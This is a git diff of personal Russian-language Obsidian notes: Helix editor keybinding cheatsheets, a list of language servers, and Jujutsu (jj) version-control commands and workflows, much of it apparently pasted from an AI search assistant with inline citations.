||||
## Space Mode (Space + клавиша)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`Space f`|File picker (открыть файл)|
|
||||
|`Space F`|File picker (current directory)|
|
||||
|`Space b`|Buffer picker (открытые файлы)|
|
||||
|`Space k`|Hover (показать документацию LSP)|
|
||||
|`Space s`|Symbol picker (функции/структуры)|
|
||||
|`Space S`|Workspace symbol picker|
|
||||
|`Space a`|Code actions (LSP)|
|
||||
|`Space r`|Rename symbol (LSP)|
|
||||
|`Space d`|Diagnostics picker (ошибки)|
|
||||
|`Space D`|Workspace diagnostics|
|
||||
|`Space h`|Highlight all occurrences|
|
||||
|`Space /`|Global search (ripgrep)|
|
||||
|`Space ?`|Command palette|
|
||||
|`Space y`|Yank (copy) to clipboard|
|
||||
|`Space p`|Paste from clipboard|
|
||||
|`Space P`|Paste from clipboard before|
|
||||
|`Space R`|Replace selections with clipboard|
|
||||
|`Space w`|Save file (:write)|
|
||||
|`Space q`|Quit (:quit)|
|
||||
|
||||
## LSP Специфичные
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`K`|Hover documentation|
|
||||
|`gd`|Goto definition|
|
||||
|`gy`|Goto type definition|
|
||||
|`gr`|Goto references|
|
||||
|`gi`|Goto implementation|
|
||||
|`]d`|Next diagnostic (ошибка)|
|
||||
|`[d`|Previous diagnostic|
|
||||
|`Space a`|Code actions|
|
||||
|`Space r`|Rename symbol|
|
||||
|
||||
## Insert Mode Специфичные
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`Ctrl-x`|Autocomplete|
|
||||
|`Ctrl-w`|Delete word backward|
|
||||
|`Ctrl-u`|Delete to line start|
|
||||
|`Ctrl-k`|Delete to line end|
|
||||
|`Ctrl-h`|Backspace|
|
||||
|`Ctrl-d`|Delete forward|
|
||||
|`Ctrl-j`|Insert newline|
|
||||
|
||||
## Диагностика и Отладка
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`]d`|Next diagnostic|
|
||||
|`[d`|Previous diagnostic|
|
||||
|`]g`|Next git change|
|
||||
|`[g`|Previous git change|
|
||||
|`]f`|Next function|
|
||||
|`[f`|Previous function|
|
||||
|`]c`|Next class|
|
||||
|`[c`|Previous class|
|
||||
|
||||
## Дополнительные
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`.`|Repeat last change|
|
||||
|`q`|Record macro (например, `qa` → запись в регистр a)|
|
||||
|`Q`|Replay macro (например, `@a` в Vim, но в Helix просто `Q`)|
|
||||
|`@`|Shell pipe (выполнить shell команду)|
|
||||
|`!`|Shell pipe replace|
|
||||
|`Alt-!`|Shell append output|
|
||||
|`$`|Shell pipe each selection|
|
||||
|
||||
---
|
||||
|
||||
## Командный Режим (после `:`)
|
||||
|
||||
|Команда|Действие|
|
||||
|---|---|
|
||||
|`:w`|Write (save) file|
|
||||
|`:q`|Quit|
|
||||
|`:wq` или `:x`|Write and quit|
|
||||
|`:q!`|Force quit (без сохранения)|
|
||||
|`:open file.txt`|Open file|
|
||||
|`:buffer-close`|Close current buffer|
|
||||
|`:reload`|Reload file from disk|
|
||||
|`:set key value`|Set option|
|
||||
|`:vsplit`|Vertical split|
|
||||
|`:hsplit`|Horizontal split|
|
||||
|`:sh command`|Run shell command|
|
||||
|`:insert-output command`|Insert shell command output|
|
||||
|`:pipe command`|Pipe selection through command|
|
||||
|
||||
---
|
||||
|
||||
Эта шпаргалка покрывает **95% ежедневного использования** Helix. Сохрани в Obsidian и распечатай — первые недели будешь часто подглядывать, потом всё в мышечную память! 🚀
|
||||
|
||||
**Ключевое отличие от Vim:** в Helix **сначала выделение** (selection-first), **потом действие**. Это делает редактирование **предсказуемым** — ты всегда видишь, что изменишь, перед тем как это сделать.
|
||||
|
||||
1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html)
|
||||
2. [https://github.com/helix-editor/helix/discussions/12270](https://github.com/helix-editor/helix/discussions/12270)
|
||||
3. [https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/](https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/)
|
||||
4. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html)
|
||||
5. [https://github.com/helix-editor/helix/issues/4864](https://github.com/helix-editor/helix/issues/4864)
|
||||
6. [https://news.ycombinator.com/item?id=40492300](https://news.ycombinator.com/item?id=40492300)
|
||||
7. [https://blog.ohheybrian.com/2023/01/this-was-written-with-helix](https://blog.ohheybrian.com/2023/01/this-was-written-with-helix)
|
||||
8. [https://jonathan-frere.com/posts/helix/](https://jonathan-frere.com/posts/helix/)
|
||||
161
10-linux/00-utils/helix/keys.md
Normal file
161
10-linux/00-utils/helix/keys.md
Normal file
|
|
@ -0,0 +1,161 @@
|
|||
**:w** или **:write**
|
||||
**:bc** или **:buffer-close**
|
||||
|
||||
Отлично! В Helix есть мощная LSP-интеграция для навигации по коду. Вот полный гайд:
|
||||
|
||||
## Переход к определению и обратно
|
||||
|
||||
## Основные команды навигации (goto mode)
|
||||
|
||||
Нажми **g** затем:[helix-editor+2](https://docs.helix-editor.com/keymap.html)
|
||||
|
||||
**К определению:**
|
||||
|
||||
- **gd** — Go to **definition** (переход к определению функции/переменной)[helix-editor+2](https://docs.helix-editor.com/commands.html)
|
||||
|
||||
- **gy** — Go to **type definition** (переход к определению типа)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
|
||||
|
||||
- **gi** — Go to **implementation** (переход к реализации трейта/интерфейса)[helix-editor+1](https://docs.helix-editor.com/keymap.html)
|
||||
|
||||
|
||||
**К использованиям:**
|
||||
|
||||
- **gr** — Go to **references** (показать все места, где используется функция)[kapeli+2](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
|
||||
|
||||
|
||||
## Возврат назад (Jumplist)
|
||||
|
||||
После перехода по `gd`, Helix автоматически сохраняет твою предыдущую позицию в **jumplist** (список переходов):[helix-editor](https://docs.helix-editor.com/master/jumplist.html)youtube
|
||||
|
||||
- **Ctrl+o** — jump **Out** (вернуться назад по jumplist)[reddit+1](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/)youtube
|
||||
|
||||
- **Ctrl+i** — jump **In** (вернуться вперёд по jumplist)youtube[helix-editor](https://docs.helix-editor.com/master/jumplist.html)
|
||||
|
||||
- **Ctrl+s** — вручную сохранить текущую позицию в jumplist[helix-editor](https://docs.helix-editor.com/master/jumplist.html)youtube
|
||||
|
||||
|
||||
**Пример воркфлоу:**
|
||||
|
||||
1. Ты на вызове функции `calculate_sum()`
|
||||
|
||||
2. Жмёшь **gd** → переходишь к определению
|
||||
|
||||
3. Смотришь код, делаешь правки
|
||||
|
||||
4. Жмёшь **Ctrl+o** → возвращаешься к вызову
|
||||
|
||||
5. Если нужно снова к определению — **Ctrl+i**
|
||||
|
||||
|
||||
## Просмотр всего jumplist
|
||||
|
||||
**Space+j** — открыть picker со всеми сохранёнными переходамиyoutube[helix-editor](https://docs.helix-editor.com/master/jumplist.html)
|
||||
|
||||
Это интерактивное меню, где видны все позиции, куда ты прыгал. Можешь выбрать любую стрелками и нажать Enter.youtube
|
||||
|
||||
## Навигация между вызовами функции
|
||||
|
||||
**Найти все использования:**
|
||||
|
||||
1. Встань на имя функции
|
||||
|
||||
2. Нажми **gr** (goto references)[kapeli+1](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
|
||||
|
||||
3. Откроется picker со всеми местами, где функция вызывается
|
||||
|
||||
4. Используй стрелки для выбора, Enter для перехода[huqingye-1798.xlog](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
|
||||
|
||||
|
||||
**Переход между функциями в файле:**
|
||||
|
||||
- **]f** — следующая функция (next function)[helix-editor+1](https://docs.helix-editor.com/keymap.html)
|
||||
|
||||
- **[f** — предыдущая функция (previous function)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
|
||||
|
||||
|
||||
Это работает через Tree-sitter (TS), не требует LSP.[helix-editor+1](https://docs.helix-editor.com/keymap.html)
|
||||
|
||||
## Навигация по диагностике (ошибки/предупреждения)
|
||||
|
||||
Бонус для дебага:[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
|
||||
|
||||
- **]d** — следующая ошибка/предупреждение
|
||||
|
||||
- **[d** — предыдущая ошибка
|
||||
|
||||
- **[D** — первая ошибка в файле
|
||||
|
||||
- **]D** — последняя ошибка в файле
|
||||
|
||||
|
||||
## Полный workflow для Rust-разработки
|
||||
|
||||
**Сценарий 1: Изучение чужого кода**
|
||||
|
||||
text
|
||||
|
||||
`1. Встал на функцию → gd (перешёл к определению) 2. Посмотрел типы → gy (перешёл к type definition) 3. Хочу вернуться → Ctrl+o (назад к вызову) 4. Хочу посмотреть все вызовы → gr (список references) 5. Выбрал другой вызов → Enter 6. Возвращаюсь к первому → Space+j (jumplist picker)`
|
||||
|
||||
**Сценарий 2: Рефакторинг**
|
||||
|
||||
text
|
||||
|
||||
`1. Встал на функцию → gr (показать все вызовы) 2. Перешёл к первому → Enter 3. Сделал правки → Ctrl+s (сохранил позицию в jumplist) 4. Следующий вызов → выбрал из picker 5. Вернулся к предыдущему → Ctrl+o`
|
||||
|
||||
**Сценарий 3: Исследование трейтов**
|
||||
|
||||
text
|
||||
|
||||
`1. Встал на трейт → gy (type definition) 2. Хочу увидеть реализации → gi (implementations) 3. Picker показал все impl блоки → выбираю нужный 4. Возврат → Ctrl+o`
|
||||
|
||||
## Горячие клавиши для закладок (опционально)
|
||||
|
||||
Если хочешь быстро прыгать между важными местами, используй **marks** (закладки):[helix-editor](https://docs.helix-editor.com/remapping.html)
|
||||
|
||||
- **m** затем **буква** — установить закладку (например, `ma` для закладки 'a')
|
||||
|
||||
- **` ** (backtick) затем **буква** — перейти к закладке (например, `` ` a``)
|
||||
|
||||
|
||||
Это полезно для долгой работы над одним участком кода.[helix-editor](https://docs.helix-editor.com/remapping.html)
|
||||
|
||||
1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html)
|
||||
2. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
|
||||
3. [https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
|
||||
4. [https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/)
|
||||
5. [https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
|
||||
6. [https://docs.helix-editor.com/master/jumplist.html](https://docs.helix-editor.com/master/jumplist.html)
|
||||
7. [https://www.youtube.com/watch?v=B3vQDHzsU0g](https://www.youtube.com/watch?v=B3vQDHzsU0g)
|
||||
8. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html)
|
||||
9. [https://github.com/helix-editor/helix/issues/3167](https://github.com/helix-editor/helix/issues/3167)
|
||||
10. [https://zed.dev/docs/key-bindings](https://zed.dev/docs/key-bindings)
|
||||
|
||||
В Helix для удаления строки используется **двухнажатийная комбинация** (не одна клавиша, как в некоторых редакторах):
|
||||
|
||||
## Основная команда
|
||||
|
||||
**x d**
|
||||
|
||||
- **x** — выделить текущую строку целиком
|
||||
|
||||
- **d** — удалить выделение
|
||||
|
||||
|
||||
Это самый быстрый и стандартный способ в Helix.[](https://pikabu.ru/story/osnovyi_helix_mini_gayd_13142410)
|
||||
|
||||
|
||||
|
||||
## Удаление нескольких строк
|
||||
|
||||
Если нужно удалить несколько строк подряд:
|
||||
|
||||
- **5x d** — удалить 5 строк (начиная с текущей вниз)
|
||||
|
||||
- **x 3k d** — выделить строку, расширить на 3 строки вверх, удалить
|
||||
|
||||
|
||||
## Удаление и переход в режим вставки
|
||||
|
||||
**x c** — удалить строку и сразу войти в insert mode (аналог vim's `cc`)
|
||||
|
||||
shift + A - это сразу войти в режим i
|
||||
95
10-linux/00-utils/helix/lsps.md
Normal file
95
10-linux/00-utils/helix/lsps.md
Normal file
|
|
@ -0,0 +1,95 @@
|
|||
Отлично! Держи полный список **ключевых LSP** для всех основных языков — это всё, что нужно для профессиональной разработки в Helix.[helix-editor+1](https://docs.helix-editor.com/lang-support.html)
|
||||
|
||||
---
|
||||
|
||||
## 🦀 Systems Programming
|
||||
|
||||
text
|
||||
|
||||
```
|
||||
# Rust rust-analyzer # Официальный LSP от Rust Foundation # C/C++ clangd # LLVM-based LSP (рекомендуется) # или ccls # Альтернатива clangd # Zig zls # Официальный Zig Language Server # Go gopls # Официальный LSP от Google # D serve-d # D Language Server
|
||||
```
|
||||
---
|
||||
|
||||
## 🌐 Web Development
|
||||
|
||||
text
|
||||
|
||||
`# JavaScript/TypeScript nodePackages.typescript-language-server # или nodePackages.vscode-langservers-extracted # HTML/CSS/JSON тоже # Deno (альтернатива Node) deno # Deno встроенный LSP # Vue.js nodePackages.volar # Vue 3 LSP # Svelte nodePackages.svelte-language-server # Tailwind CSS nodePackages."@tailwindcss/language-server"`
|
||||
|
||||
---
|
||||
|
||||
## 🐍 Scripting Languages
|
||||
|
||||
text
|
||||
|
||||
`# Python python3Packages.python-lsp-server # pylsp (рекомендуется) # или pyright # Microsoft LSP (быстрее) # или basedpyright # Fork pyright # Ruby solargraph # Ruby LSP # Lua lua-language-server # sumneko_lua # Perl perlnavigator # Perl LSP`
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ DevOps & Config
|
||||
|
||||
text
|
||||
|
||||
`# Nix nil # Nix LSP (рекомендуется) # или nixd # Альтернатива с лучшей поддержкой flakes # YAML nodePackages.yaml-language-server # TOML taplo # Taplo LSP # JSON nodePackages.vscode-json-languageserver # Terraform terraform-ls # HashiCorp Terraform LSP # Docker nodePackages.dockerfile-language-server-nodejs # Ansible ansible-language-server`
|
||||
|
||||
---
|
||||
|
||||
## 🎨 Functional & Academic
|
||||
|
||||
text
|
||||
|
||||
`# Haskell haskell-language-server # HLS # OCaml ocamlPackages.ocaml-lsp # ocamllsp # Elixir elixir-ls # Elixir Language Server # Erlang erlang-ls # Erlang LS # Clojure clojure-lsp # Clojure LSP # Racket racket-langserver # Racket LS # PureScript nodePackages.purescript-language-server`
|
||||
|
||||
---
|
||||
|
||||
## 🏢 Enterprise & JVM
|
||||
|
||||
text
|
||||
|
||||
`# Java jdt-language-server # Eclipse JDT # Kotlin kotlin-language-server # Scala metals # Scalameta LSP # Groovy groovy-language-server`
|
||||
|
||||
---
|
||||
|
||||
## 📝 Markup & Data
|
||||
|
||||
text
|
||||
|
||||
`# Markdown marksman # Markdown LSP # LaTeX texlab # LaTeX LSP # GraphQL nodePackages.graphql-language-service-cli # Protobuf buf-language-server # Protobuf LSP`
|
||||
|
||||
---
|
||||
|
||||
## 🔥 Special Mention
|
||||
|
||||
text
|
||||
|
||||
`# Helix-GPT (AI completion) helix-gpt # OpenAI/Copilot в Helix # Emmet (HTML/CSS snippets) emmet-ls # Emmet expansion`
|
||||
|
||||
---
|
||||
|
||||
## 📋 Для копирования в Obsidian
|
||||
|
||||
text
|
||||
|
||||
``# Language Servers для Helix ## Systems - `rust-analyzer` — Rust - `clangd` — C/C++ - `zls` — Zig - `gopls` — Go ## Web - `typescript-language-server` — JS/TS - `vscode-langservers-extracted` — HTML/CSS/JSON - `volar` — Vue.js - `svelte-language-server` — Svelte - `@tailwindcss/language-server` — Tailwind ## Scripting - `python-lsp-server` — Python (или `pyright`) - `solargraph` — Ruby - `lua-language-server` — Lua ## DevOps - `nil` — Nix (или `nixd`) - `yaml-language-server` — YAML - `taplo` — TOML - `terraform-ls` — Terraform - `dockerfile-language-server` — Docker ## Functional - `haskell-language-server` — Haskell - `ocaml-lsp` — OCaml - `elixir-ls` — Elixir - `clojure-lsp` — Clojure ## JVM - `jdt-language-server` — Java - `kotlin-language-server` — Kotlin - `metals` — Scala ## Markup - `marksman` — Markdown - `texlab` — LaTeX - `graphql-language-service-cli` — GraphQL ## Bonus - `helix-gpt` — AI completion (OpenAI/Copilot) - `emmet-ls` — HTML/CSS snippets``
|
||||
|
||||
---
|
||||
|
||||
## Проверка установленных LSP
|
||||
|
||||
bash
|
||||
|
||||
`hx --health`
|
||||
|
||||
Покажет, какие LSP найдены и работают.[github+1](https://github.com/helix-editor/helix/discussions/7067)
|
||||
|
||||
1. [https://docs.helix-editor.com/lang-support.html](https://docs.helix-editor.com/lang-support.html)
|
||||
2. [https://langserver.org](https://langserver.org)
|
||||
3. [https://github.com/helix-editor/helix/discussions/7067](https://github.com/helix-editor/helix/discussions/7067)
|
||||
4. [https://discourse.nixos.org/t/helix-lsp-servers/34833](https://discourse.nixos.org/t/helix-lsp-servers/34833)
|
||||
5. [https://github.com/helix-editor/helix/discussions/8474](https://github.com/helix-editor/helix/discussions/8474)
|
||||
6. [https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/](https://www.reddit.com/r/NixOS/comments/1gu5q3q/what_lsp_do_you_use/)
|
||||
7. [https://en.wikipedia.org/wiki/Language_Server_Protocol](https://en.wikipedia.org/wiki/Language_Server_Protocol)
|
||||
8. [https://docs.codelite.org/plugins/lsp/](https://docs.codelite.org/plugins/lsp/)
|
||||
9. [https://mynixos.com/nixpkgs/package/helix-gpt](https://mynixos.com/nixpkgs/package/helix-gpt)
|
||||
10. [https://github.com/isaacphi/mcp-language-server](https://github.com/isaacphi/mcp-language-server)
|
||||
1
10-linux/00-utils/helix/replace.md
Normal file
1
10-linux/00-utils/helix/replace.md
Normal file
|
|
@ -0,0 +1 @@
|
|||
![[Pasted image 20251115162400.png]]
|
||||
46
10-linux/00-utils/helix/selection.md
Normal file
46
10-linux/00-utils/helix/selection.md
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
| Действие | Команда |
|
||||
| ---------------------------------- | --------------------- |
|
||||
| Войти в режим выделения | v |
|
||||
| Расширить выделение вниз (колонка) | Shift-CилиAlt-Shift-C |
|
||||
| Войти в мультикурсорный ввод | I(заглавная) |
|
||||
| Ввести текст одновременно | Печатать текст |
|
||||
| Выйти из мультикурсорного режима | Esc |
|
||||
| Добавить курсор ниже | C |
|
||||
| Удалить дополнительные курсоры | , |
|
||||
| Оставить один курсор (удалить все) | ; |
|
||||
|
||||
| Задача | Команда |
|
||||
| ----------------------------- | ------- |
|
||||
| Добавить курсор вниз | C |
|
||||
| Добавить курсор вниз n строк | nC |
|
||||
| Добавить курсор вверх | Alt-C |
|
||||
| Добавить курсор вверх n строк | nAlt-C |
|
||||
|
||||
| Действие | Команда |
|
||||
| ------------------------------------------- | ------- |
|
||||
| Добавить курсор вниз | C |
|
||||
| Добавить курсор вверх | Alt-C |
|
||||
| Добавить курсор вниз n строк | nC |
|
||||
| Добавить курсор вверх n строк | nAlt-C |
|
||||
| Удалить все дополнительные курсоры | , |
|
||||
| Начать выделение | v |
|
||||
| Расширить выделение движением | h/j/k/l |
|
||||
| Расширить выделение n строк вниз | nj |
|
||||
| Расширить выделение n строк вверх | nk |
|
||||
|
||||
|Действие|Команда|
|
||||
|---|---|
|
||||
|Войти в visual mode|v|
|
||||
|Расширить выделение вниз|j|
|
||||
|Расширить выделение вверх|k|
|
||||
|Переключить курсор и anchor|Alt-;|
|
||||
|Удалить все доп. курсоры|,|
|
||||
|Collapse selection|;|
|
||||
|Добавить курсор вниз|C|
|
||||
|Добавить курсор вверх|Alt-C|
|
||||
|
||||
| Действие | Команда / Клавиши | Описание |
|
||||
| ---------------------------------- | -------------------------------- | --------------------------------------------------- |
|
||||
| Переключение каретки в выделении | Alt + ; | Поменять активный конец (каретку) выделения |
|
||||
| Замена всех вхождений по паттерну | %→s→{pattern}→Enter→c→{new text} | Выделить весь файл, найти по паттерну, заменить все |
|
||||
| Логи нажатий (для проверки клавиш) | :log-open | Открыть лог нажатий клавиш для диагностики |
|
||||
90
10-linux/00-utils/jj/Untitled.md
Normal file
90
10-linux/00-utils/jj/Untitled.md
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
|
||||
# Jujutsu: Применение исправлений из stable во все ветки
|
||||
|
||||
Да, **Jujutsu** (`jj`) отлично справляется с этим workflow и делает его **проще**, чем в Git, благодаря своей архитектуре. Вот как это работает:
|
||||
|
||||
## Подход Jujutsu
|
||||
|
||||
Jujutsu не требует «переключения веток» в классическом понимании Git, потому что использует модель **working-copy-as-commit**. Вы можете редактировать любой коммит в репозитории напрямую без `checkout`.
|
||||
|
||||
## Workflow в `jj`
|
||||
|
||||
### Шаг 1: Во время разработки feature обнаружили баг в `stable`
|
||||
|
||||
Не нужно делать `stash` или коммитить незавершённую работу. Просто:
|
||||
|
||||
```bash
|
||||
# Редактируем коммит в stable напрямую
|
||||
jj edit <stable-commit-id>
|
||||
# ИЛИ создаем новый коммит поверх stable
|
||||
jj new stable
|
||||
```
|
||||
|
||||
### Шаг 2: Делаем исправление
|
||||
|
||||
Вносим необходимые изменения (багфикс, оптимизация, рефакторинг). Эти изменения получают уникальный **change ID**, который сохраняется между ветками.
|
||||
|
||||
### Шаг 3: Применяем фикс ко всем нужным веткам
|
||||
|
||||
Здесь `jj` раскрывается во всей красе. Два основных подхода:
|
||||
|
||||
#### Вариант A: Rebase-based propagation
|
||||
|
||||
```bash
|
||||
# Rebase feature веток на обновлённый stable
|
||||
jj rebase -b feature-branch -d stable
|
||||
jj rebase -b another-feature -d stable
|
||||
```
|
||||
|
||||
#### Вариант B: Cherry-pick стиль (дублирование + rebase)
|
||||
|
||||
```bash
|
||||
# Дублируем change с фиксом и rebase на каждую ветку
|
||||
jj duplicate <fix-change-id>
|
||||
jj rebase -r <duplicated-change-id> -d feature-branch
|
||||
```
|
||||
|
||||
### Шаг 4: Селективное применение через revsets
|
||||
|
||||
Для исключения deprecated веток используем мощный язык **revset** в `jj`:
|
||||
|
||||
```bash
|
||||
# Применяем ко всем веткам кроме deprecated
|
||||
jj rebase -b 'branches() & ~(branches(glob:"deprecated*") | branches("old-feature"))'
|
||||
```
|
||||
|
||||
## Ключевые преимущества `jj` для этого workflow
|
||||
|
||||
- **Без загрязнения рабочей директории**: Ваше текущее состояние разработки `feature` остаётся нетронутым, пока вы работаете над фиксом в `stable`.
|
||||
- **Change IDs отслеживаются между ветками**: Одно и то же логическое изменение сохраняет свою идентичность при rebase или дублировании, что упрощает отслеживание применения фикса.
|
||||
- **Автоматическое разрешение конфликтов**: При rebase нескольких веток с фиксом `jj` помогает выявлять и разрешать конфликты инкрементально.
|
||||
- **Нет "detached HEAD" состояний**: В отличие от Git, вы можете свободно навигировать и редактировать любой коммит без риска потерять работу.
|
||||
|
||||
## Практический пример
|
||||
|
||||
```bash
|
||||
# 1. Сейчас работаем над feature
|
||||
jj log
|
||||
|
||||
# 2. Создаём фикс на stable
|
||||
jj new stable -m "Fix critical bug in validation"
|
||||
# Вносим изменения
|
||||
jj commit
|
||||
|
||||
# 3. Получаем change ID вашего фикса
|
||||
FIX_ID=$(jj log -r @ --no-graph -T 'change_id')
|
||||
|
||||
# 4. Rebase всех активных feature веток
|
||||
jj rebase -b 'branches() & ~branches(glob:"deprecated*")' -d stable
|
||||
|
||||
# 5. Возвращаемся к работе над feature
|
||||
jj edit feature
|
||||
```
|
||||
|
||||
## Важные моменты
|
||||
|
||||
- **Разрешение конфликтов**: Если ваш фикс в `stable` конфликтует с изменениями в `feature`-ветках, `jj` создаст conflict markers, которые нужно будет разрешить для каждой ветки.
|
||||
- **Принцип upstream-first**: Как и в GitLab Flow, всегда исправляйте сначала в самой upstream-ветке (`stable`), затем распространяйте downstream.
|
||||
- **Состояние working copy**: После операций используйте `jj status`, чтобы увидеть, к какому коммиту привязана рабочая копия, и `jj edit <branch>` для возврата к работе над `feature`.
|
||||
|
||||
> Да, `jj` абсолютно поддерживает этот workflow и делает его более эргономичным, чем Git, устраняя накладные расходы на переключение контекста и предоставляя мощные revset-запросы для селективных операций с ветками.
|
||||
209
10-linux/00-utils/jj/jj.md
Normal file
209
10-linux/00-utils/jj/jj.md
Normal file
|
|
@ -0,0 +1,209 @@
|
|||
Вот приведённый в порядок Markdown файл:
|
||||
|
||||
***
|
||||
|
||||
# 📚 Шпаргалка по Jujutsu (jj)
|
||||
|
||||
## Основные концепции
|
||||
|
||||
**jj** — это система контроля версий, которая отличается от Git философией. Вместо веток используются **bookmarks** (закладки), вместо staging area — автоматическое отслеживание.
|
||||
|
||||
| Концепция | Описание |
|
||||
|-----------|---------|
|
||||
| `@` | Текущий рабочий коммит (working copy) |
|
||||
| `@-` | Родитель текущего коммита |
|
||||
| Bookmark | Закладка на коммит (аналог Git ветви) |
|
||||
| DAG | Направленный ациклический граф — вся история видна одновременно |
|
||||
|
||||
## Базовые команды
|
||||
|
||||
```bash
|
||||
# Инициализация
|
||||
jj git init # Инициализировать jj в Git репозитории
|
||||
|
||||
# Просмотр истории
|
||||
jj log # Показать историю
|
||||
jj log --graph # С визуализацией
|
||||
jj log --graph --all # Вся история со всеми ветками
|
||||
jj status # Статус текущего коммита
|
||||
|
||||
# Создание коммитов
|
||||
jj new # Создать новый коммит на основе текущего
|
||||
jj new -m "description" # С описанием
|
||||
jj new COMMIT_ID # Создать коммит на основе конкретного
|
||||
|
||||
# Редактирование
|
||||
jj edit COMMIT_ID # "Включить" коммит для редактирования
|
||||
jj describe -m "new message" # Изменить описание текущего коммита
|
||||
jj new HEAD # Создать коммит от HEAD
|
||||
```
|
||||
|
||||
## Работа с закладками
|
||||
|
||||
```bash
|
||||
# Создание и удаление
|
||||
jj bookmark create branch-name # Создать закладку на текущий коммит
|
||||
jj bookmark create branch-name -r COMMIT_ID # На конкретный коммит
|
||||
jj bookmark delete branch-name # Удалить закладку
|
||||
jj bookmark list # Список всех закладок
|
||||
|
||||
# Перемещение закладок
|
||||
jj bookmark set main -r COMMIT_ID # Переместить main на коммит
|
||||
jj bookmark set main -r ready # Переместить на bookmark ready
|
||||
|
||||
# Отслеживание удалённых закладок
|
||||
jj bookmark track main@origin # Импортировать удалённую закладку
|
||||
```
|
||||
|
||||
## Слияние и перебазирование
|
||||
|
||||
```bash
|
||||
# Rebase (перебазирование)
|
||||
jj rebase -r @ -d main # Перебазировать текущий коммит на main
|
||||
jj rebase -b ready -d main # Перебазировать ветку ready на main
|
||||
|
||||
# Squash (объединение коммитов)
|
||||
jj squash -r @ # Объединить текущий коммит с родителем
|
||||
jj squash -r COMMIT_ID # Объединить конкретный коммит с его родителем
|
||||
|
||||
# Abandon (удаление коммита)
|
||||
jj abandon COMMIT_ID # Удалить коммит (но файлы останутся в @)
|
||||
```
|
||||
|
||||
## Git интеграция
|
||||
|
||||
```bash
|
||||
# Экспорт и импорт
|
||||
jj git export # Синхронизировать jj с Git
|
||||
jj git import # Импортировать Git ветки в jj
|
||||
|
||||
# Push и Pull
|
||||
jj git push # Запушить все изменения
|
||||
jj git push -b main # Запушить только bookmark main
|
||||
jj git pull # Потянуть изменения с удалённого
|
||||
|
||||
# Работа с Git напрямую
|
||||
git checkout main # Обычные Git команды работают!
|
||||
git merge BRANCH
|
||||
git push origin main
|
||||
```
|
||||
|
||||
## Разрешение конфликтов
|
||||
|
||||
```bash
|
||||
# При конфликтах во время rebase
|
||||
jj resolve # Разрешить конфликты
|
||||
jj resolve --tool=union # С объединением (берёт всё)
|
||||
jj diff # Посмотреть различия
|
||||
|
||||
# После редактирования файлов вручную
|
||||
jj resolve # Отметить конфликт разрешённым
|
||||
jj squash -r @ # Переместить разрешение в основной коммит
|
||||
```
|
||||
|
||||
## Типичные workflow'ы
|
||||
|
||||
### Создать и слить новую ветку в main
|
||||
|
||||
```bash
|
||||
# Посмотреть состояние
|
||||
jj log --graph
|
||||
|
||||
# Создать новый коммит
|
||||
jj new -m "feature: add something"
|
||||
|
||||
# Работать над коммитом (файлы отслеживаются автоматически)
|
||||
|
||||
# Создать закладку
|
||||
jj bookmark create feature-branch
|
||||
|
||||
# Перебазировать на main
|
||||
jj rebase -r @ -d main
|
||||
|
||||
# Обновить main
|
||||
jj bookmark set main -r @
|
||||
|
||||
# Запушить
|
||||
jj git push -b main
|
||||
```
|
||||
|
||||
### Слить ветку `ready` в `main` с приоритетом ready
|
||||
|
||||
```bash
|
||||
# Перебазировать main на ready
|
||||
jj rebase -b main -d ready
|
||||
|
||||
# Обновить main bookmark
|
||||
jj bookmark set main -r ready
|
||||
|
||||
# Запушить
|
||||
jj git push -b main
|
||||
```
|
||||
|
||||
### Вернуться к старому коммиту и что-то изменить
|
||||
|
||||
```bash
|
||||
# Посмотреть историю
|
||||
jj log --graph --all
|
||||
|
||||
# "Включить" старый коммит для редактирования
|
||||
jj edit OLD_COMMIT_ID
|
||||
|
||||
# Делать изменения (они автоматически добавятся в текущий коммит)
|
||||
|
||||
# Посмотреть что изменилось
|
||||
jj diff
|
||||
|
||||
# Если нужно разветвить от этого коммита
|
||||
jj new -m "new branch from old commit"
|
||||
```
|
||||
|
||||
## Полезные флаги и опции
|
||||
|
||||
```bash
|
||||
# Смотреть только свои коммиты
|
||||
jj log -r "author(myemail)"
|
||||
|
||||
# Смотреть коммиты с конкретным текстом
|
||||
jj log -r "description(disko)"
|
||||
|
||||
# Операции с конкретным range
|
||||
jj log -r "main..@" # Коммиты от main до текущего
|
||||
|
||||
# Отмена последней операции
|
||||
jj undo
|
||||
|
||||
# Помощь по команде
|
||||
jj new --help
|
||||
```
|
||||
|
||||
